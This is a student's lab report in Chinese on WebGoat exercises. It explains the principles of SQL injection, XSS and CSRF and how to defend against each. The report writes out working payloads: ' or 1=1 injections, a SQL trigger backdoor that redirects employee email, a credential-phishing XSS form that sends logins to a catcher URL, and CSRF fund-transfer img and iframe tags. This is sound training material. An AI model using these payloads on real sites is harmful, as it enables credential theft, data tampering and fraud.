20145312 《網絡對抗》 Web安全基礎實踐

20145312 《網絡對抗》 Web安全基礎實踐

問題回答

  1. SQL注入攻擊原理,如何防護
    原理:攻擊者在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,把SQL語句當作用戶名等輸入正常網頁中以獲取數據庫信息的攻擊或對數據庫增刪查改的基本操做。
    防護:限制SQL字符串鏈接的配置文件;指定錯誤返回頁面;替換或刪除單引號;去除代碼中的敏感信息;封裝數據信息等。前端

  2. XSS攻擊的原理,如何防護
    原理:惡意攻擊者經過往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
    防護:對用戶的輸入進行處理,只容許輸入合法的值,其它值一律過濾掉。若是有時候不能過濾的話,就將敏感的字符進行替換,讓代碼失去原本的樣子,在讀取的時候在替換回來。java

  3. CSRF攻擊原理,如何防護
    原理:CSRF是跨站請求僞造,是一種對網站的惡意利用,經過假裝來自受信任用戶的請求來利用受信任的網站。
    防範:經過驗證碼來檢測用戶提交,儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post 操做 ,避免全站通用的cookie,嚴格設置cookie的域。web

實驗總結

此次實驗進階性的學習了SQL注入攻擊、XSS攻擊和CSRF攻擊原理。我一共作了10個小實驗。其中SQL注入攻擊須要用到burpsuite作代理,因而我還熟悉了burpsuite的使用方法。還有,博客發遲了,請老師諒解。。sql

實踐過程

實驗前準備

  • 在在終端中輸入java -jar webgoat-container-7.0.1-war-exec.jar開啓webgoat,直到出現INFO: Starting ProtocolHandler ["http-bio-8080"],打開瀏覽器,在瀏覽器中輸入localhost:8080/WebGoat進入webgoat

SQL注入

Numeric SQL Injection

  • 這一步中用到了burpsuite作代理,將查找語句101後加上or 1=1
  • 成功截圖

Log Spoofing

  • 登錄欺騙,經過在用戶名中輸入%0d%0aLogin succeeded !admin使用戶看起來像登陸成功,成功截圖以下:

String SQL Injection

  • 經過輸入查詢的語句使得整張表得以顯示,在其中輸入' or 1=1;--
  • 此時注入的SQL語句爲SELECT * FROM user_data WHERE last_name = '' or 1=1;--',即查詢表中全部信息。成功截圖以下:

Stage 1 String SQL Injection

  • 在密碼中輸入' or 1=1 --,失敗,發現密碼只能輸入8位
    數據庫

  • 因而能夠改一下代碼:
    瀏覽器

  • 成功截圖以下:
    安全

Database Backdoors

  • 經過輸入101; update employee set salary=5312來給id爲101的人改工資
    cookie

  • 注入成功
    網絡

  • 留一個後門,讓全部新用戶的郵箱都是個人,工資都郵到個人郵箱
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='yuanxin@qq.com' WHERE userid = NEW.userid

XSS攻擊

CSRF(Cross Site Request Forgery)

  • 編寫前端代碼並在輸入框中注入這段前端代碼
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

  • 顯示以下
    xss

  • 輸入用戶名和密碼,提交便可截獲

  • 成功截圖以下

Stored XSS Attacks 存儲型XSS攻擊

  • 在Message裏輸入
  • Message List出現剛纔的消息title

  • 點擊彈出對話框
  • 成功截圖以下:

Reflected XSS Attacks

  • 輸入指定的URL值,這裏的效果爲彈出方框
http://www.targetserver.com/search.asp?input=<script>alert("hello20145312");</script>

  • 成功截圖以下:

XSCF攻擊

CSRF(Cross Site Request Forgery)

  • 在message裏輸入<img src='attack?Screen=276&menu=900&transferFunds=145312' width='1' height='1'>這其中,276是我網頁的scr,900是個人網頁的menu,145312是轉錢數額。

  • 點擊20145212,方纔的代碼就會被執行

CSRF Prompt By-Pass

  • 與上個實驗相似,一樣是經過郵件的方式進行惡意請求,這裏添加了請求確認的要求,因此須要兩個iframe模塊,輸入以下:
<iframe src="attack?Screen=276&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=276&menu=900&transferFunds=CONFIRM"> </iframe>
  • 成功截圖以下:
相關文章
相關標籤/搜索